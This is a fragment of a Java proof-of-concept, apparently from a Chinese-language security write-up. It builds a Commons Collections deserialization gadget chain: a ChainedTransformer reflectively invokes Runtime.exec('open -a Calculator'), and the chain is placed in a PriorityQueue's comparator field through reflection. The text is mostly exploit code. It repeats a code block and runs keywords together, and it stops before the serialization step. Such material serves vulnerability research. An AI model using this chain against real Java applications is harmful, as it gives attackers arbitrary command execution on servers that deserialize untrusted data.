ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class), //反射实现getRuntime.exec("open -a Calculator"); new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"open -a Calculator"})); TransformingComparator comparator = new TransformingComparator(chain);
publicclassPocTestDemo{ publicstaticvoidmain(String[] args)throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException { //利用链 // ObjectInputStream.readObject() // PriorityQueue.readObject() // ... // TransformingComparator.compare() // InvokerTransformer.transform() // Method.invoke() // Runtime.exec() // 如利用链所示,如果能够调用到InvokerTransformer.transform(),那么既可以和CC1的后半段链一样。 ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class), //反射实现getRuntime.exec("open -a Calculator"); new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"open -a Calculator"})); TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(); priorityQueue.add(1); priorityQueue.add(1); //反射获取PriorityQueue的comparator字段 Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(priorityQueue,comparator);